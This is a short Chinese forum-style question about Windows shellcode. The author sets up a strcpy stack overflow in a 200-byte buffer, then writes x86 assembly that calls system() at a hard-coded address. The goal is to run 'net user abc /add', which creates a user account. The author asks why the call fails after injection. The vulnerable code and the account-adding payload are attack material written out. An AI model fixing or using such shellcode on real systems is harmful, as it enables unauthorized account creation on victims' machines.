system 的shellcode问题
模拟一个在f函数的溢出
实现 system(“net user abc /add”)功能
void f(char*ch){
char a[200];
strcpy(a,ch);
}
mov eax,0x12fea80;//a[200]地址在0x0012fea8,由于有00字符,就采取右移4位方式
xor cl,cl;
inc cl;
inc cl;
inc cl;
inc cl;
shr eax,cl;//cl=4;右移4位
push eax;
mov eax,0x78b02632//system函数地址
call eax;//调用system
机器码注入后,为什么system调用失败,指针地址正确,函数地址正确!!!!